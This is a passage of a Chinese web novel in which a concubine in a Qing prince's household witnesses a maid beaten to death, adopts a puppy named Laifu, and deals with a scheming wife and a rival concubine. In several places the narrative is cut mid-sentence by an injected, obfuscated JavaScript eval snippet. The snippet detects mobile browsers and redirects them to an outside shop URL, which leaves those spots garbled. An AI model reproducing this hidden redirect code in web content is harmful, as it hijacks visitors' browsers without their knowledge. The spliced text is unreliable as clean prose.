芸香将所有事一力承担下来了,福晋在一旁用帕子擦拭眼角,任谁看了都觉得福晋是无辜的,只不过是被下面的奴才给蒙骗了而已。 但四爷心中的想法却截然不同。 其实,事情到了现如今这个地步,情况已经十分明朗了,最起码四爷的心里都有数了。 就算不是福晋在背后策划了一切,至少她是掺和进去了,哪怕只是顺水推舟,福晋也肯定是动了手的。 而且要不是福晋一进府就跟格格们争风吃醋,还把侍妾们推出来,也不会让安氏有机会接近李格格。 不过,要是再继续审问下去,福晋的面上怕是就要不好看了。 可四爷不能让福晋面上无光,所以今天只能是意外了。 福晋毕竟是他的嫡妻,是皇阿玛亲自指给他的贵女,若是叫福晋失了正室的威严,他的后院以后只会更加混乱。 于是,这件事只能就此盖棺定论。 只见四爷走到那丫鬟旁边,嘴唇轻启,冷漠地吐出了几个字。 “杖毙吧。” 话音刚落,安秀秀的丫鬟就瘫软在了地上,身下濡湿一片,俨然是直接被吓尿了。 许是一时间不能接受自己的下场,那丫鬟想伸手去够四爷的袍子角,仿佛还有话要说。 一直站在安秀秀身旁的吴嬷嬷眼疾手快,在那丫鬟拽住四爷的前一秒,一脚将丫鬟踹倒翻,口中还不停怒骂着:“你个没规矩的东西,主子爷赐死还不赶紧谢恩?眼看着自己没了命,难不成还想带着一家老小一块下黄泉?” 宋时繁那个角度正好看见了全部过程。 只见那丫鬟听了吴嬷嬷的话以后再无动作,眼睛里也渐渐没有神采了,面上青青白白的,最终变化成一片灰败之色,任由小太监们将自己拖出去了,连喊都没再喊一声了。 宋时繁有些失神,就这么简单一条命便没了吗? 另一边,四爷继续开口。 “李氏身边的奴才护主不力,每人罚半年月银,二十个板子。” 说罢,李格格院子里大大小小的奴才跪了一地,纷纷感谢四爷不杀之恩,脸色都是一副劫后余生的表情。 宋时繁在一旁看着觉得荒谬至极。 四爷又指了指芸香:“这个人是福晋身边的,爷就不做主了,留给福晋自己带回去罚吧,希望福晋…好自为之!” 话毕,四爷深深看了一眼福晋。 福晋的动作都僵住了,心下惊疑不定,这是被发现了?那为什么四爷不罚她? 来不及多想,福晋的脸上勉强扯出一个笑容来,对着四爷福身行礼:“多谢爷…” 四爷没接话,转身大步离去,走到安秀秀旁边的时候,安秀秀突然猛烈挣扎起来,试图引起四爷的注意。 四爷看向安秀秀的眼神冰冷,似乎对面不是一个人,而是一件死物罢了。 只是今日已经杀了一个丫鬟,这倒算不上什么,可若再杀一个侍妾,保不齐旁人就会猜测他的后院不和睦。 思及此,四爷终是开口道:“安氏迁居静思阁禁足,无令不得出。” 安秀秀闻言,浑身像是被抽干了力气,要不是身后的小太监正反剪着她的双手,怕是立即就会瘫倒。 只因静思阁是四爷府里最偏僻的一处地方了,从前侍妾们住的已经算偏了,但跟静思阁一比,还是小巫见大巫。 而且,当初修缮府邸的时候,只选了要住人的几处院子先修葺,之后的地方便留着以后慢慢修,可想而知,类似静思阁这种地方肯定是没人会去管的。 安秀秀应该也知道自己被挪去静思阁以后,虽然是保住了一条命,可也彻底没下场了。 四爷吩咐完所有事后就径直离开了,福晋缓了缓才对着宋时繁等人道:“李氏要静养,近段时间你们无事也不要来打扰她了,都散了吧。” 宋时繁和武格格、郭格格忙点头应是,等福晋也离开以后,宋时繁等人才挨个出了李格格的院子。 然而,李格格的奴才们正在院子口被打板子,许是为了警醒其他奴才,便也没有避着人,就这么堂而皇之地在众人面前行刑。 所以,宋时繁出来的时候就不可避免地看见了那些被打得血淋淋的几人。 可饶是已经皮开肉绽了,那些被打的人都死死咬着布条,没有一个人敢发出声音来,一时间只有板子跟皮肉接触的“啪啪”声。 宋时繁的目光下意识在受罚的几人当中寻找,却没看见安秀秀的丫鬟。 也是,她早早就被拖下去了,这会子可能已经死了… 忽然,宋时繁在一处角落里看见了那名丫鬟的尸体。 为什么宋时繁断定那是尸体? 因为那丫鬟的身体已经不是正常活人能弯折成的样子了,她几乎像个麻袋似的直接堆在那边。 紧跟着,宋时繁就瞧见了丫鬟血肉模糊的脸,脸上的眼、耳、口、鼻…总之凡是有洞的地方全都是血迹。 原来被乱棍打死的人能流出来这么多血啊… 宋时繁真得感觉到害怕了。 她再也看不下去了,脚下不经加快了步伐,想要快速逃离这个地方,好在其他人同样也不敢看这样的场景,均是步履匆匆,宋时繁在其中并不算扎眼。 等终于到了没人的地方,宋时繁对着路边“哇”地一下就吐了起来。 她吐了好久,除了先头时还能吐出些东西来,后面吐出来的全是水一样了。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327919|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到宋时繁觉得再也吐不出任何东西了,她才迈着软绵绵的双腿,蹒跚着朝自己的小院儿里走去。 当白薇见到宋时繁的时候,就发现她额前的发丝凌乱无比,脸上也显出不正常的白来,人几乎都要站不住了。 白薇吓了一大跳,忙叫竹苓同她一起将宋时繁扶进了内室里。 “格格您怎么了?您别吓奴才们呀!”白薇急得快要哭出来了。 竹苓打了一盆热水,用毛巾不停地给宋时繁擦脸,终是让宋时繁的脸有了些血色。 这时候的宋时繁也回了神,她勉力对着担忧的白薇和竹苓扯了扯嘴角,试图安慰她们,可收效甚微。 白薇不敢再耽搁,起身就要朝外走。 “不能这样下去了,奴才去给格格请大夫。” 宋时繁一把抓住了白薇的手:“别,不行,今日不能请太医…我没事儿,就是吓着了…” 等宋时繁终于缓了过来,攒足力气将今天发生的事说给二人听以后,白薇和竹苓均是倒吸了一口凉气。 白薇听完后心有余悸地对宋时繁道:“格格,以后不管去哪儿,您都要带上我们,再也不能让您一个人出去了!” 宋时繁握了握白薇的手,没再说话了。 此时,屋外忽然传来几声狗叫。 竹苓奇道:“这是从哪儿传来的声音?” 白薇正要出门去看,就见好春和曹三宝在门口探头探脑地往里看。 白薇皱眉道:“鬼鬼祟祟在门外做什么呢?” 好春被说得一愣,当下便有些不知所措,忽然,就见一只小黄狗从好春的怀里探出一个小脑袋来。 曹三宝赶忙在一旁解释:“白薇姐姐别生气,奴才方才见角门里几个小太监商量着要把这狗给溺死,奴才不忍心,便讨了过来,想着能不能求格格养了它…” 没等曹三宝把话说完,白薇便知道这就是今日在李格格处惹了祸的小黄狗了,心下不赞同将狗养在这里,生怕这条狗会给自家格格找麻烦。 “你知道这狗什么来历?竟然就敢私自往格格这里带?若是给格格招了祸事我看你有几个脑袋!”白薇难得厉声训斥人。 忽然屋里的宋时繁开口了:“外头怎么了?” 白薇听见里头宋时繁问了,只得让开身子,让宋时繁瞧。 当下,宋时繁看见小黄狗的时候还有什么不明白的? 她沉吟了一会儿才道:“留下吧。” “格格!”白薇有些着急,生怕自家格格乱发善心。 宋时繁笑了笑:“无事,本来也不与狗有什么相关,既已被人做了筏子,何苦还要害了它一条性命?就留在这里吧,你们看好,千万别让它跑出去就是了。” 宋时繁态度坚决,白薇也不好再劝,便让曹三宝将狗抱下去了。 狗的事情解决以后,白薇便问宋时繁要不要用晚膳。 “东西早已经取回来了,在茶炉上热着呢,都这会子了,格格想必饿坏了吧!” 宋时繁却摇了摇头:“我现下没胃口,你们将东西分了吧,经了这一遭我也累了,想歇息了…” 白薇只得依言帮宋时繁铺好床,伺候宋时繁躺下,便跟竹苓一起离开了。 躺在床上的宋时繁也确实吃不下,她现在还觉得自己的鼻尖处可以闻到淡淡的血腥味呢。 宋时繁一直躺在床上默默思索着今天发生的事,直到累极了才昏沉沉睡了过去。 45. 来福 之后的几天,日子就这么按部就班地过着。 四爷倒是一直没来后院,当然,也没往宋时繁这里来,只除了每日会派前院的小太监来看望一下大格格以外,再就是听说去看了一次仍在静养的李格格,旁人那里就哪儿也没去了。 宋时繁不知道四爷是太忙了,还是有什么别的原因,总之四爷不来,宋时繁倒是乐得清闲。 如今又添了一只小狗在她的院子里,她每日里逗逗孩子,再玩玩小狗,日子简直不要太好过了。 她本身就是个喜欢狗的,因缘巧合之下得了这只小狗,如果不去想那些有的没的,宋时繁还是很高兴的,总算也是给她的无聊后院生活增添了一丝乐趣。 没想到大格格那么小的一团,恐怕还不认识狗呢,竟然也喜欢狗,看到小狗不仅不害怕,还伸手想去摸狗。 不过,宋时繁现在还不许大格格上手摸狗,不为别的,虽然说能送到四爷这里的狗肯定都是健康的,可毕竟这狗才刚被抱到她的小院儿里来,还是先养一段时间看看,确认真地没问题了,到时候再叫大格格跟小狗一块玩儿吧。 没错,宋时繁不反对大格格跟小动物多接触,只要确定小动物是健康的,大格格多跟小动物一起玩玩对她自身的免疫力也有好处。 这会子,宋时繁就抱着大格格坐在廊下,看着小狗摇着小尾巴跑来跑去,把大格格看得“咯咯”直笑。 这小狗是只京巴犬,胖嘟嘟的,腿也不长,又十分活泼,还嫌自己的小短腿跑不快,时不时便要跳两下,一刻也闲不住,可爱极了。 曹三宝见宋时繁和大格格都喜欢看狗,便一直引着小狗在二人面前玩耍。 那小狗也是个鬼灵精的,趁着曹三宝不注意,一头冲到了廊下摆放花盆的地方,还在花盆里拱了拱,拱完才发现自己的小圆脸上沾了泥,又在地上蹭,想把泥蹭掉,结果越蹭越脏。 那模样别提多有有趣了,宋时繁没忍住笑了出来。 “得亏我这花盆里种的花高,它腿短够不着,只能蹭蹭下面儿的泥,不然我这花都得被糟蹋了,这小东西还真是个会调皮捣蛋的!”宋时繁笑道。 曹三宝忙上前将小狗提溜起来给宋时繁请罪:“格格赎罪,奴才一个没看住就叫它给跑了…” 宋时繁浑不在意地挥了挥手:“什么事就值当你这样巴巴来请罪,不过是小狗调皮罢了,趁这会儿天气好,也暖和,你们给它洗洗吧!” 曹三宝忙应下,便去用炉子烧水去了。 小狗不像人,体积小,不用特地去膳房要水,只用茶炉子烧点热水就得了。 很快,曹三宝就往木盆里兑好了热水,叫了好春和含冬来帮忙抓住小狗,三人就在院子里给小狗洗澡。 “小狗狗,来,你乖,别乱动啊,让我三宝子给你洗洗干净,格格就喜欢你了!你得了咱们格格的喜欢,我三宝子保管你来世变个人模样,只是你变了人可不许忘了咱们格格,还要来找格格报恩知道不?” 曹三宝一边给小狗搓洗身体,嘴里还一边念念叨叨的,把宋时繁都给瞧乐了。 “三宝子说什么呢?”离得远,宋时繁听不清,于是她便问身边的白薇。 白薇摇了摇头,脸上也带着笑,打趣曹三宝道:“奴才也没听见,不过这个三宝子向来是个贫嘴贫舌的,他那嘴里指定没好话,格格没听见才是好事儿呢!” 宋时繁闻言用帕子捂着嘴笑,“我看三宝子就很好呀,他年纪还小呢,正要这样活泼才好,不像你和竹苓,一个赛一个的老气横秋,旁人见了,肯定就要说了,宋格格那个院子里啊,都是些小老太太呢~我可提前说好了噢,回头要是没人敢来给你们说亲,到时候嫁不出去了,你们可千万别怪我啊!” 一旁的白薇被宋时繁说得小脸通红一片。 “格格!您怎么又胡乱开玩笑,再这样…奴才,奴才以后都不同您说话了!” 说罢,白薇轻轻跺了一下脚,扭身便往屋子里去了。 独留下宋时繁在原地笑得前仰后合,要不是顾忌她手上还抱着大格格,动作不敢太大,保不齐这会儿都要笑到凳子下面了。 其实,宋时繁也是故意存了心思要逗一逗白薇。 自从上次,她回来将那件事说给白薇和竹苓听了以后,两个丫头好像是吓着了,整日里都是一副如临大敌的模样,搞得宋时繁都有些紧张兮兮的。 今日她正好借这话来缓和缓和气氛,想叫她们别这么紧张,否则本来没什么事,倒给自己吓出一身病来,那就不划算了。 白薇心眼子实诚,不明白宋时繁的良苦用心,只以为宋时繁在故意拿她开玩笑,倒是竹苓更通透些,一眼看了出来宋时繁是在担心她们。 “格格,您尽管放宽心,白薇姐姐只是太挂念格格您的安危,这才吓坏了,故而近日多思了些,过两日就好了。”竹苓安慰了宋时繁一句。 宋时繁拍了拍竹苓的手:“不止是白薇,我同样也担心你,你虽然比白薇来伺候我的时间短了些,但你如何待我,我是看得明白的,否则也不会留了你在我身边,我待你和白薇的心都是一样的。” 竹苓听了这话有些激动,当时就想跪下去谢恩,宋时繁手上便带了点力气,阻止竹苓往下跪。 “好了,若真要跪下去那才是跟我生分了,我方才还说懂你待我的心,可你却不懂我了…”宋时繁叹了口气,真切地对着竹苓道。 竹苓眼眶红了红,却也不再要下跪了,只斩钉截铁开口:“格格待奴才的心奴才铭记终生,往后绝不会对格格有二心。” “说几句话而已,怎么眼泪都说下来了,还不快擦擦,等会让白薇那个管家婆出来看见了,怕是又要以为出什么事了,再吓个好歹,啊呀,我可怕了她了!” 宋时繁表情夸张,一副心有余悸的样子,可算是让竹苓破涕为笑了。 恰在这时,曹三宝也将小狗洗干净了,正拿着一条干毛巾给小狗擦毛呢。 那小狗不老实,甩了曹三宝一身的水,曹三宝也不恼,脸上仍是笑吟吟的,还问宋时繁:“格格,能给这小狗取个名字吗?取了名儿就是盖了戳儿,它往后就知道自己是格格的狗了,奴才们也好叫它。” 曹三宝这话倒还真是提醒了宋时繁。 先前她没想起来这茬,如今既然决定要把这小狗养在这里了,确实应该取个名字,它之前的名字不是说不好,只是现在已经不合适再用了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339590|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可一时间,宋时繁也想不出什么名字来,沉吟了好一会儿才道:“不如就叫来福吧?” 小狗也很给面子,宋时繁说出来福两个字的时候,那小狗像应声似的,跟在后面叫了两声。 开始,宋时繁还以为是巧合,后来她又叫了一遍“来福”。 不曾想,小狗又跟着叫了两声,还用它那双水澄澄的大眼睛目不转睛地看着宋时繁。 这下可把宋时繁高兴坏了,觉得这小狗莫不是真地通灵性吧? 旁边的人见状赶紧上前凑趣儿,忙将好听话不要钱似的往宋时繁身上堆。 “哟,来福这名字太好了,一听就是有福气的呢。” “尽胡说!能被咱们格格养着,能是没福气的吗?” “可不,咱们格格取得名字真好!” 宋时繁对着一群夸她彩虹屁的人有些无奈,她忽然觉得,就算她刚才给小狗取个名字叫粑粑,也许他们仍是能想出一连串的好听话出来,这可真是… 想到一群人围起来夸赞粑粑的场景,宋时繁“扑哧”一声就笑了出来。 “别贫了,我就随便取了个名字,都能叫你们夸出一朵花来,听话听音儿,我算是听出来了,你们这是串通好了想要我的赏钱呢,竹苓,快叫白薇将我的钱匣子取来,哎,看来今儿不打点一番,怕是不成了…” “那奴才可真叫白薇姐姐去取了,到时候格格您别舍不得就行了。”竹苓得了吩咐,脚步轻快地往屋里走,不多会儿便抱了个小匣子,和白薇一起出来了。 宋时繁瞧见二人先是装模作样地叹了口气,然后又一副心疼不已的样子摸了摸钱匣子,不过她面上的笑意却出卖了她。 众人也瞧出自家格格今天高兴,便一人抓了一把铜板,然后跟宋时繁谢恩。 “得了得了,都把我匣子里的钱勾走了,就甭凑在我这儿了,快去忙你们的吧,不然等会儿我舍不得了,还问你们要回来。” 众人闻言哄笑着就散了,宋时繁心里也开怀不少,见日头逐渐有西移的迹象,便也抱着大格格回屋子里去了。 次日一早,到了请安的时辰,白薇和竹苓进来伺候宋时繁洗漱。 宋时繁本来还有些迷糊,忽听白薇开口道:“格格,昨晚上…主子爷没去正院。” 宋时繁听了这话一时间没反应过来,“没去没去呗,这几日四爷不是都不来后院?” “可…格格您忘啦,昨儿个…是初一…” 初一?是了,这时候的规矩,每逢初一十五,四爷都应该去福晋那里歇息,自从福晋进门以后,四爷一次都没落下过,为何偏偏昨天没去? 思及此,宋时繁问道:“昨个四爷在府里吗?” 她平时从来不会打听四爷的行踪,但这会子还是要问一嘴的。 白薇面上有些犹豫:“在,主子爷昨天下午早早就回府了,也不像有事要忙的样子,但到了晚上却直接歇在前院里了,听说福晋晚膳的时候还让人去前院请了,只不过…” 听到这里,宋时繁已经大致明白了。 看来这位四爷是因为之前李格格的事,在跟福晋置气呢,如此说来,那上次的事,背后也必然是有福晋的手笔在了。 46. 又来了 思及此,宋时繁有些不想去请安了。 开玩笑,四爷如此不给福晋面子,等会儿请安的时候,福晋能给她们这些四爷的小妾好脸色看吗? 想想也知道这是不可能的好吧! 哎,要是能告个假就好了… 可惜,宋时繁也只敢在心里想想,却不敢真的不去。 否则四爷这头刚下了福晋的脸子,第二天她马上就不去请安了,还不知道有心人要如何猜测呢。 到时候,若福晋只觉得她是见风使舵的小人也还罢了,若真记恨上她,那她往后的日子也不用过了。 想到这里,宋时繁只得认命起床。 不过,宋时繁却是想多了。 请安时,福晋面色如常,甚至比往日里还要和煦些。 宋时繁转念一想也是,要是她自己有了什么丢人的事,肯定也不会表现出来给外人看。 更何况,她们府上的这位福晋还是一个极其注重规矩体面的人,自然就更不会在她们这些妾室面前表现出什么异样。 今日来请安的仍只有宋时繁、武格格并郭格格,以及两个侍妾。 李格格还在养病自是不必提了,至于安秀秀,府里以后怕是都要当作没她这个人了。 因着前日出了那样的事,众人也不敢多话,喝了一盏茶后,又听福晋训了一会儿话,便也就打算散了。 宋时繁正暗暗思索着今日还算轻松的时候,忽听福晋开口道:“听说京城里新来了一班小戏子,里头有个武旦,功夫尤其漂亮,我琢磨着回头叫到府里来唱上几天的戏,咱们也跟着热闹热闹。” 宋时繁还没反应过来福晋这是要演哪出,武格格已经先拍掌称好,只见她露出一副小女儿神态对着福晋开口:“那敢情好呀,奴才可许久没看过戏了,多谢福晋心疼奴才们。” 福晋见状笑道:“到时白天就叫他们在隔水的亭子里唱,晚上咱们摆一桌宴,再让他们来近前唱上几段。” 那边,武格格还在恭维福晋,宋时繁听见要摆家宴的时候,却是有些明白福晋的意思了。 看来,福晋是知道四爷正在生她的气,便打算借着家宴一事给自己找个台阶下来,好跟四爷和好。 可不知怎的,宋时繁却觉着福晋有些打错算盘了。 虽然说宋时繁和四爷不算太熟,可就她仅有的几次观察,宋时繁发现四爷是个不喜欢别人跟他绕弯子的人。 就好比之前,宋时繁刚来还不懂规矩,在四爷面前闹了好几次笑话,但是只要当时跟四爷说清楚了,四爷事后都没有计较。 当然啦,她那点子不守规矩的小事和福晋这种主动害人的事没有可比性。 不过,以小见大,从那些微末小事上已经足够让宋时繁知道四爷大致是个怎样的人了。 而且,想想也知道,四爷那种一出生就是金尊玉贵的人,肯定是不喜欢别人糊弄他的,上位者都有这种想法,这一点,从四爷这几日冷落福晋的态度上也能看出来。 更何况,四爷本就是因为李格格动了胎气才跟福晋置的气,如今李格格正是要静养的时候,福晋就这么大张旗鼓地叫人进府里唱戏,虽说福晋犯不上避讳一个格格,可说到底,这事儿还是福晋想得不周全了。 所以,宋时繁觉得福晋的计划怕是要落空了。 但是,最令宋时繁奇怪的还是要属武格格对福晋的态度。 显然,武格格是一早就靠上了福晋。 而且依宋时繁看来,武格格显然也是个聪明的。 可为何武格格从不阻止福晋做这些眼见着就得不了好的事呢?甚至还隐隐有一副助着福晋的样子,这叫宋时繁着实有些想不明白。 莫非武格格不是真心投靠福晋? 可这样对武格格也没好处啊! 要知道清朝可没用妾室扶正的先例,即便嫡福晋再如何,或者说难听点,福晋因病去了,四爷也不会扶一位妾室上来当福晋,哪怕是侧福晋也不成的。 这便是宋时繁一直痛恨的等级制度了,可谓是一日为妾,这一辈子都翻不了身了。 除非这武格格跟她一样,知道四爷注定会登基,若是成了后妃那身份地位倒是有可能与现在不同,可这可能吗? 想到这里,宋时繁隐晦地朝着武格格的方向看去,就见武格格神色如常,仍笑吟吟地跟福晋说着话,一张巧嘴将福晋哄得笑逐言开的。 宋时繁心下摇了摇头,还是不像,就武格格目前来看,跟这些土生土长的古人没有多大差别的,武格格也没有表现出任何特殊的一面。 也许是她想多了吧,又或许是武格格藏得过于深了… 总之,她以后一定要千万小心武格格,宋时繁如是想道。 说话间,福晋已经定下来了三日后要叫戏班子进府的事宜,府上没有侧福晋,这种事自然是福晋一人拍板,宋时繁没有提出异议,当然,她的身份也不允许她有第二种想法。 既然事情已经定下,福晋再留她们也没用了,就挥手叫众人都散了。 宋时繁走出正院以后,还没来得及松口气,就见汪秋红又凑了上来。 宋时繁不禁有些头疼,这位汪姑娘上次在四爷面前那样坑她,这会子怎么好意思还来找她的? 其实,汪秋红也不好意思,但她没办法,好不容易福晋给她们这些侍妾机会,让她们能出来活动活动,她必须得赶紧给自己找个靠山后路,她的年纪可耽误不起了! 武格格那边是不用想的,她自己年轻家世好,又得宠,显然用不上侍妾固宠,李格格那边怀着孕呢,又有之前那档子事,汪秋红现在不敢去招惹她,郭格格就甭提了,进府到现在就得了一次宠幸,还不如没有呢。 至于福晋,虽说福晋漏出些想用侍妾的意思,可汪秋红瞧得清楚,福晋一开始选中的就是常氏,根本不打算带她玩,指望福晋肯定是行不通的。 于是,汪秋红掰着手指头数过来数过去,就宋时繁的大腿最适合抱。 首先,宋时繁有个孩子在身边,这就意味着她有机会能常常见到主子爷,其次就是宋时繁自己并不算得宠,正是需要旁人来帮着她固宠的,汪秋红可不就要赶紧黏上来了。 当然,这些都是汪秋红自己的臆断,宋时繁从来就没想过什么宠不宠的。 开什么玩笑,叫她跟一帮古代女人争男人?她又不是疯了!更何况还是这种帮着男人睡小妾的事,她会干才真是有鬼了! 所以宋时繁才烦躁,她能看出汪秋红的意图,可又打发不了她。 她总不能跟汪秋红说“姐妹我给不了你想要的,因为这种事是不合常理的,我觉得太恶心了”,若真如此,汪秋红怕是才要觉得她不正常,保不准四爷还会觉得她是被鬼上身了,说不定第二天就能叫她病逝。 思及此,宋时繁下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“汪姑娘,您快擦擦眼泪,别哭了,不知道得还以为格格怎么着您了,传出去就不好听了。”说着,将帕子塞进了汪秋红的手里。 汪秋红也知道她不能继续给宋时繁难堪,她毕竟还想投靠宋时繁呢,可不敢把人往死里得罪,当下忙见好就收:“奴才给格格赔不是,奴才只是怕格格不愿意亲近奴才,一时悲从中来,这才言行无状了…那奴才能去宋格格那里坐坐吗? 宋时繁已经冷静下来了,知道这样纠缠下去也没用,便随意点了点头转身往回走。 路上,宋时繁想着等会就让汪秋红在一旁坐着,她自干她的事,她还就不信了有人能那么没眼色,而且汪秋红也不像是个有耐性的,等自己坐不住肯定就走了。 宋时繁在心里打算好以后就没那么生气了。 等回到院子里,宋时繁让白薇给汪秋红上了一盏茶,便抱着大格格自顾自地玩起来,直接无视了汪秋红,汪秋红只得这么不尴不尬地在一旁坐着。 不曾想,这时候四爷竟然来了。 四爷一进屋看见汪秋红差点还以为自己走错屋子了。 而宋时繁则觉得有些搞笑,怎么回回这汪秋红一来,四爷总是跟着就到了?莫非他两商量好了? 至于汪秋红就只剩下激动了,她果然没想错,跟着宋时繁肯定能见到四爷!汪秋红兴奋地想道。 47. 不许她来 待宋时繁和汪秋红一同向四爷请了安之后,四爷就让二人免礼赐座了。 “你们这是在做什么呢?”四爷无可无不可地问了一句。 其实,四爷的心里也正奇怪呢,他可没忘了前几日汪氏在他面前演的那一出,心里对汪氏还停留在不喜的层面上。 说起来,汪氏算是四爷真正意义上的第一个女人,不是像宋时繁这样第一个被指过来的格格,而是正儿八经四爷睡过的头一个女人。 按理来说,男人对自己接触到的第一个对象总是会有些不同寻常的情愫在的,若四爷因为这个对汪氏另眼相看倒也是寻常事。 可惜,当年孝懿仁皇后将汪氏安排给四爷的时候,四爷属实是太小了,想也知道,十岁上下,还是一团孩子气呢,能知道些什么? 最后勉强成了事(1),四爷也并没什么感觉,自然了,四爷对待汪氏就更不会有什么感情基础了,这一点,从四爷后来几乎不怎么去汪氏的屋子里也能轻易看出来。 只是后来,四爷大婚,从阿哥所搬出来开府的时候顺道将汪氏一并带出来在身边当个侍妾也就算了。 这么一看,汪秋红也实实在在是个可怜人,上位者随便一句话,她的一生就要蹉跎在后院里了,当然,这个时代大部分的女子都是这样的遭遇。 至于四爷,他是完全体会不到,或者说根本没有关注过这些事情的。 现在的四爷只是在想宋时繁和汪氏这两个人怎么又凑到一起去了?他还以为经过之前的事,宋时繁不会再同汪氏好了呢… 莫不是宋时繁还在吃醋,所以故意这样来试探他?这样可不好,偶尔争风吃醋一下是情趣,要是想靠着这些手段拿捏他那就是两码事了。 想到这里四爷看了一眼宋时繁,但见宋时繁面上坦坦荡荡,又觉得可能是他想岔了。 不得不说,四爷又开始把奇了八怪的人设往宋时繁的身上套了。 若是四爷这想法叫宋时繁知道了,就是再不在意四爷,宋时繁也必定是要狠狠给自己喊一句冤枉的。 她倒是不想理汪秋红呢,可问题是宋时繁就差把送客两个大字写在脑门上了,但人家就是死活不走,能怨谁? 哦,应该怨四爷,要不是有四爷这个“香饽饽”的存在,汪秋红也不会死皮赖脸地非要缠上来… 思及此,宋时繁看向四爷的眼神就不可避免地带着些幽怨了,连四爷刚刚问的话她都不想回答了,便只管自顾自逗弄着大格格,不打算开口了。 一旁的汪秋红倒是想说话,可又不敢越过宋时繁去,毕竟她上次可是被四爷毫不留情面地申斥了一番,到现在想起来都觉得脸颊滚烫呢。 但汪秋红始终也舍不得错过同四爷相处的机会,虽然不敢开口说话,却拿一双剪水秋瞳使劲儿给四爷暗送秋波。 反观四爷,见宋时繁控诉一般地看了自己一眼后,就低下头不肯开口了,还只当他方才的想法被宋时繁洞悉了,当即便觉着有些不自在。 可惜了,四爷丝毫没有注意到汪秋红的眉目传情,当然,就算四爷注意到了,他也不可能理会就是了,毕竟汪氏现在在他眼里还是个搅和事儿的形象,四爷自然对她没有好印象。 碰巧这时竹苓给四爷沏了一杯茶上来,正好解了四爷的尴尬。 四爷接过茶喝了一口,然后又轻咳了一声,才开口道:“这是我上次赏你的茶?” 这话是直接问宋时繁的,她也不好再装傻了,只得答道:“是。” 只说了这一个字,再多的就没有了。 四爷倒是没计较宋时繁的态度,说真的,他都快有些习惯宋时繁的直白了。 于是,四爷又问了一句:“这茶叶你尝了吗?味道如何?” 这还真是把宋时繁给问懵了,她压根没喝过,哪里知道是什么味道的? 而且宋时繁一直以为四爷这茶是存在她这的,好等四爷来这里的时候方便喝,有这一层想法在,她自然不可能会去泡来喝。 不得不说,宋时繁确实是把四爷想得过于小气了,四爷要喝多少茶没有?怎么可能赏赐给格格以后还不许格格喝,只留着自己喝的道理? 但四爷瞧宋时繁懵懵懂懂的,还以为她不好意思说,四爷想了想又柔声开口:“你可还喜欢这个茶,若你喝着喜欢,什么时候喝完了,爷再叫苏培盛给你送来。” 四爷说完这句话以后,宋时繁也终于反应过来了,知道那茶是四爷看她没喝过什么好茶所以专门赏给她的,这还真是…闹了个乌龙。 不过,事已至此,宋时繁总不能没良心地说她不知道这茶是送给她的,所以一直没敢喝吧?那也显得她太没心眼了。 思索片刻后,宋时繁才道:“四爷给的想必都是好的,奴才还没舍得喝呢。”不管了,就让旁人觉得她是个眼皮子浅,没见识的吧,总比人人都觉得她缺心眼要强得多。 四爷闻言倒没多想,那会子,四爷见宋时繁接了茶叶便让人小心收好,就觉得她肯定舍不得自己赏给她的东西,这会得了这个答案还真是不意外,反而让他有些心情大好。 “这点东西值当你这样?什么好的,喝完了爷再赏你就是,你喜欢只管喝。”于是,心情颇好的四爷大手一挥,说出来的话也十分大方。 宋时繁得了这话只能将大格格放到旁边,然后起身谢恩:“多谢四爷。” 四爷叫了起后又道:“抱着孩子呢,就不必多礼了!爷也许久没见到大格格了…爷瞧瞧,咱们大格格是不是长大了?” 宋时繁听了还有什么不明白的,赶忙将大格格抱到四爷身前。 在替女儿讨她阿玛疼爱这方面,宋时繁向来都是很积极的,务必要叫四爷以后舍不得自家女儿去抚蒙! 这面,宋时繁和四爷尚算其乐融融,旁边的汪秋红却嫉妒地红了眼。 汪秋红自认她跟着四爷的时间真心不算短,八、九年是肯定有的,可她却从来没见过四爷这样柔情似水的一面,看着大格格时眼神温柔得简直不可思议,连带着对宋格格也多看顾了几分。 可惜她没有一个孩子,否则就算孩子不能养在身边,四爷看在她是孩子生母的面子上,总归会有几分面子情的,不像现在,四爷连一个眼神都吝啬分给她… 想到这里,汪秋红都快将她手里的帕子给捏碎了… 不多会儿,便到了用午膳的时辰,白薇进来请示:“主子爷,格格,快午时了,现在要传膳吗?” 四爷不觉时间过得这么快,不过他今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“既如此也待得够久了,你退下吧。”四爷吩咐完这一句就不去看汪秋红了。 汪秋红得了这话一副深受打击的模样,可也知道自己已经没理由留下来了,只得颤巍巍行礼道:“那…奴才告退了…” 等汪秋红出去以后,宋时繁几不可见地松了一口气,这一幕恰巧落在四爷眼里。 